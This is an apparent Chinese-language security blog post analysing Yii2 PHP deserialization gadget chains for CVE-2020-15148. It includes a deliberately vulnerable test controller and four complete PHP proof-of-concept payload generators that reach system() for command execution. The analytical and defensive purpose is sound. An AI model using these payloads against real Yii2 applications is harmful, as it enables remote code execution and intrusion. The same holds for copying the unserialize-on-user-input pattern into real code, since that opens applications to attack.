本文最后更新于:3 个月前
简介
Yii 是一个高性能,基于组件的 PHP 框架,用于快速开发现代 Web 应用程序。Yii主要有 1.1 和 2.0 两个版本,目前官方都在维护这两个版本,Yii2.0 是一个重写的版本,和 Yii1.1 有很大不同。
本次漏洞出现在 Yii2.0 版本上,在2020年9月左右(HW期间) Yii 被爆出反序列化漏洞,如果程序在用户可以控制的输入处调用了unserialize() 并允许特殊字符的情况下,将会受到反序列化远程命令命令执行漏洞攻击。
注意,该漏洞只是发掘了 php 反序列化的利用链,必须要配合unserialize
函数才可以达到任意代码执行的危害。在该漏洞爆出后,很多师傅相继挖出更多的 Yii 反序列利用链。
【漏洞编号】CVE-2020-15148
【影响版本】Yii2 <= 2.0.37
【全文概述】本文主要分析Yii2的POP链,在寻找到程序的反序列化操作后利用这些POP链可以直接RCE。本文先分析 CVE-2020-15148 中的POP链,然后分析了大佬们挖到的新的POP链,虽然新的POP链主要来自Yii使用的组件,但该POP链可能具有通杀的效果
我看到很多博主提到 POP 链这个概念,我没有找到十分官方的说法,我的理解就是反序列化利用链
POP(Property Oriented Programming):面向属性编程
POP链(POP CHAIN):把魔术方法作为入口,然后在魔术方法中调用其他函数,通过寻找一系列函数,最后执行恶意代码,就构成了POP CHAIN 。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制反序列化的类的属性,从而执行POP CHAIN,达到利用特定漏洞的效果。
环境搭建
在官方仓库下载 Yii 2.0.37:https://github.com/yiisoft/yii2/releases/tag/2.0.37
Yii 一般会同时发布basic和advanced版本,我这里下载的是basic版本,而advanced版本相当于basic版本的升级版本。
【添加密钥】
Yii 程序需要配置密钥,否则程序会报错不能运行。
修改 config/web.php
文件,给 cookieValidationKey
配置项添加一个密钥,随便输入一个值即可(若你通过 Composer 安装,则此步骤会自动完成):
1 2
| 'cookieValidationKey' => '在此处输入你的密钥',
|
【添加反序列化入口】
本次复现重点在于触发反序列化利用链,Yii 本身是不存在触发反序列化利用链的Action,这里我们手动添加一个存在漏洞的Action
/controllers/TestController.php:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace app\controllers; use Yii; use yii\web\Controleer;
class TestController extends Controller { public function actionTest(){ $name = Yii:$app->request->get('data'); return unserialize(base64_decode($name)); } }
|
PS:这里对反序列化数据做了 base64 编码传输,测试没有编码也是可以传输的,以应对更多情况的真实场景
【启动应用】
在web目录下可以使用以下命令快速启动一个 yii 应用
1 2 3 4
| $ php yii serve Server started on http: Document root is "/Users/xy/big/xy/free/basic/web" Quit the server with CTRL-C or COMMAND-C.
|
不过我最终还是搭建在了 MAMP 上,localhost这种在抓包发包上还是有点麻烦
寻找反序列化入口
本文只记录了yii POP链,利用这些POP链需要程序执行反序列化操作,即 unserialize()。这里记录两个目前我能想到的找到反序列化入口的地方:
1)留意程序的序列化数据,如果发现有序列化数据到服务器端,大概率会触发unserialize()。白盒测试的话就是寻找unserialize()的参数是否可控。
2)构造phar格式文件,并能使用phar协议读取该文件
漏洞分析
在挖掘POP链时,需要知道的是,在反序列化漏洞中,我们通常会构造序列化对象,我们可以容易的控制对象的属性。
本文记录了4条利用链,POP1和POP2都是基于BatchQueryResult
类的反序列化问题,可用于2.0.37 以前的版本,POP1和POP2类似,主要参考POP1
POP3和POP4来自:https://github.com/yiisoft/yii2/issues/18293
其中 POP3 来自 yii 使用的 CodeCeption 框架,该框架一般用于功能测试
其中 POP4 来自 yii 使用的 swiftmailer ,属于邮件处理组件。所以作者发现了这两个利用链官方并没有收录修改。
目前没有看到这两个组件有什么修改,主要是漏洞产生是两个不同组织的代码,如果目标系统使用了这两个组件,可能会产生通杀的效果
POP1
先分析漏洞爆出时的一条POP链
漏洞入口点定位在:vendor/yiisoft/yii2/db/BatchQueryResult.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| class BatchQueryResult extends BaseObject implements \Iterator { private $_dataReader; public function __destruct() //line:79-83 { $this->reset(); } public function reset() //line:89-98 { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; } ……
|
接下来就是要寻找可利用的点,可以全局搜索__call
方法
vendor/fzaninotto/faker/src/Faker/Generator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| class Generator { protected $formatters = array(); public function format($formatter, $arguments = array()) //line:226-229 { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) //line:236-249 { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } public function __call($method, $attributes) //line:283-286 { return $this->format($method, $attributes); } ……
|
这个类的__call()
方法会调用format()
方法。触发__call()
方法的是close()
方法,传入的参数为空,所以$method='close'
,$attributes
为空
format()
方法调用了call_user_func_array()
方法,call_user_func_array()
的第一个参数为要执行的回调函数,由getFormatter()
方法获取
getFormatter()
主要利用 $this->formatters[$formatter]
返回结果 。 $this->formatters
可控,我们便可在此处构造我们想执行的任意函数。而$formatter
来自于__call($method,$attributes)
中的$method
,$formatter='close'
,$formatter
不可控
目前$arguments='close'
,this->formatters
可控,$arguments
为空。也就是说call_user_func_array()
这个函数的第一个参数可控,第二个参数为空。所以我们只能不带参数地去调用别的类中的方法,那么我们就需要去寻找能执行命令的函数,这个函数需要满足以下条件:
1)方法所需的参数只能是其自己类中存在的(即参数:$this->args
)
2)方法需要有命令执行功能
最后通过call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
的正则来查找到两个方法比较合适:
1 2
| yii\rest\CreateAction::run() yii\rest\IndexAction::run()
|
vendor/yiisoft/yii2/rest/CreateAction.php
1 2 3 4 5 6 7 8
| class CreateAction extends Action { public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } ……
|
vendor/yiisoft/yii2/rest/IndexAction.php
1 2 3 4 5 6 7 8 9 10 11
| class IndexAction extends Action { public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
return $this->prepareDataProvider(); } ……
|
至此,我们获取了完整的POP链
1 2 3 4 5 6
| POP1: yii\db\BatchQueryResult::__destruct()->reset()->close() -> Faker\Generator::__call()->format()->call_user_func_array() -> yii\rest\IndexAction::run->call_user_func()
|
POC
便构造如下POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } }
namespace Faker{ use yii\rest\IndexAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new IndexAction, 'run']; } } }
namespace yii\db{ use Faker\Generator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
|
测试结果如下:
修复情况
在yii 2.0.38 中修复了该漏洞,可以在commit记录中查看修改
https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
新加了一个__wakeup()
方法,但该类被反序列化时被触发,在__wakeup()
方法中,会抛出一个异常,从而修复了该漏洞。
POP2
同POP1,从yii2/db/BatchQueryResult.php
入手,但现在换种思路,我们不找__call
方法来触发,直接找close
方法
全局搜索close()方法,且没有参数:
发现 DbSession.php 可以利用
web/DbSession.php
1 2 3 4 5 6 7 8 9 10 11
| class DbSession extends MultiFieldSession { public function close() //line:146-153 { if ($this->getIsActive()) { $this->fields = $this->composeFields(); YII_DEBUG ? session_write_close() : @session_write_close(); } } ……
|
追踪 composeFields 函数,来到DbSession继承的类MultiFieldSession
web/MultiFieldSession.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| abstract class MultiFieldSession extends Session { public $writeCallback; protected function composeFields($id = null, $data = null) //line:96-106 { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : []; if ($id !== null) { $fields['id'] = $id; } if ($data !== null) { $fields['data'] = $data; } return $fields; }
|
存在敏感函数call_user_func($this->writeCallback, $this)
,其中$this->writeCallback
可控,但$this
我们很难使其控制为一个函数的参数。那我们就考虑让这个call_user_func
调用其他类的敏感方法,如 POP1 中的 yii\rest\IndexAction::run->call_user_func()
这里就有一个知识点,在pop1中,我们使用 call_user_func_array() 调用了其他类的方法,其中第一个参数为其他类类名,其他类的函数名构成的数组,而 call_user_func 也具有这个功能
这个知识点参考:https://www.php.net/manual/zh/language.types.callable.php
最终构成利用链:
1 2 3 4 5 6
| POP2: yii\db\BatchQueryResult::__destruct()->reset() -> \yii\web\DbSession::close -> MultiFieldSession::composeFields -> call_user_func($this->writeCallback, $this) -> \yii\rest\IndexAction::run->call_user_func()
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php namespace yii\db{ use yii\web\DbSession;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new DbSession(); } } }
namespace{ $payload = new yii\db\BatchQueryResult(); echo base64_encode(serialize($payload)); }
namespace yii\web{ use yii\rest\IndexAction;
class DbSession{ public $writeCallback; function __construct() { $this->writeCallback = [new IndexAction(), 'run']; } }
}
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls -al'; } } }
|
POP3
POP3和POP4,将寻找新的利用链,通过全局搜索__destruct()|__wakeup()
寻找触发点
最终找到
vendor/codeception/codeception/ext/RunProcess.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class RunProcess extends Extension { public function __destruct() //line:93-109 { $this->stopProcess(); }
public function stopProcess() { foreach (array_reverse($this->processes) as $process) { if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; } ……
|
__destruct()
析构的时候,调用stopProcess()
,而函数中的this->processes
可控,也就意味着$process
可控。而因为$process
调用isRunning()
函数进行判断,这个不在类中,会触发__call()
方法。
至于后面的嘛,就可以接上第一条利用链POP1的__call()
方法开头的后半段,完成一个新的POP链
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls -al'; } } }
namespace Faker{ use yii\rest\IndexAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['isRunning'] = [new IndexAction, 'run']; } } }
namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; }
} }
namespace{ use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess())); }
?>
|
POP4
vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| class Swift_KeyCache_DiskKeyCache implements Swift_KeyCache { public function clearKey($nsKey, $itemKey) //line:212-218 { if ($this->hasKey($nsKey, $itemKey)) { $this->freeHandle($nsKey, $itemKey); unlink($this->path.'/'.$nsKey.'/'.$itemKey); } } public function clearAll($nsKey) //line:225-236 { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } } public function __destruct() //line:289-294 { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
|
接下来需要找到可以利用的__toString()
魔术方法来触发后续操作。
全局搜索一下__toString()
方法:function __toString\(\)
,可以发现不少的方法,以\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString
为例,
1 2 3 4
| public function __toString() : string { return $this->refers . ($this->description ? ' ' . $this->description->render() : ''); }
|
$this->refers
和$this->description
可控。同时它在调用render()
时会调用__call
魔术方法。
之后就与POP1的后半段链一样了。
完整的POP链如下:
1 2 3 4 5 6 7 8
| POP4: \Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString -> \phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render -> Faker\Generator::__call()->format() -> call_user_func_array() -> \yii\rest\IndexAction::run -> call_user_func()
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php
namespace { use phpDocumentor\Reflection\DocBlock\Tags\Covers;
class Swift_KeyCache_DiskKeyCache{ private $path; private $keys;
public function __construct() { $this->keys = array( "V0W" =>array("is", "Ca1j1") ); $this->path = new Covers(); } }
$payload = new Swift_KeyCache_DiskKeyCache(); echo base64_encode(serialize($payload)); }
namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator;
class Covers{ private $refers; protected $description; public function __construct() { $this->description = new Generator(); $this->refers = "AnyStringisOK"; } }
}
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls -al'; } } }
namespace Faker{ use yii\rest\IndexAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['render'] = [new IndexAction, 'run']; } } }
|
演示:
虽然报错还是能执行命令

参考:
Yii 官方文档:https://www.yiichina.com/doc
Yii2 官方仓库:https://github.com/yiisoft/yii2
米斯特团队全过程介绍:https://v0w.top/2020/09/22/Yii2unserialize
大佬的有趣挖链过程,结果同上:https://juejin.cn/post/6874149010832097294
额外具有ctf题:https://juejin.cn/post/6974936838746144782
__wakeup
入手的POP链(本文没有记录):https://ca01h.top/code_audit/PHP/8.Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%8B%93%E5%B1%95/